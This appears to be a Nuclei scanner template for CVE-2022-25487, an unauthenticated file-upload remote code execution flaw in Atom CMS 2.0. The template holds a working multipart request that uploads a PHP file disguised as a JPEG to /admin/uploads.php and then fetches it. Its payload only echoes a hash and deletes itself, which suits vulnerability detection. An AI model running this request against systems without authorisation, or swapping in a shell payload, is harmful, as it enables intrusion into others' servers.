Atom CMS v2.0 - Remote Code Execution

id: CVE-2022-25487

info:
  name: Atom CMS v2.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
    - https://github.com/thedigicraft/Atom.CMS/issues/256
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25487
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25487
    cwe-id: CWE-434
    epss-score: 0.78706
    epss-percentile: 0.98263
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thedigitalcraft
    product: atomcms
  tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fielupload
variables:
  string: "CVE-2022-25487"

http:
  - raw:
      - |
        POST /admin/uploads.php?id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041

        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"


        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/jpeg


        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------30623082103363803402542706041--
      - |
        GET /uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - SET avatar = '(.*?)'
        internal: true
# digest: 4a0a00473045022100a62df045c76e53bf8e6d631a87d8bf926e477a73cbc8494b2dcc7907e1e69ee1022052681e039ce72426d5d56584c8a0281f8e10794b22967d1474b0aefcaa6f2e3f:922c64590222798bb761d5b6d8e72950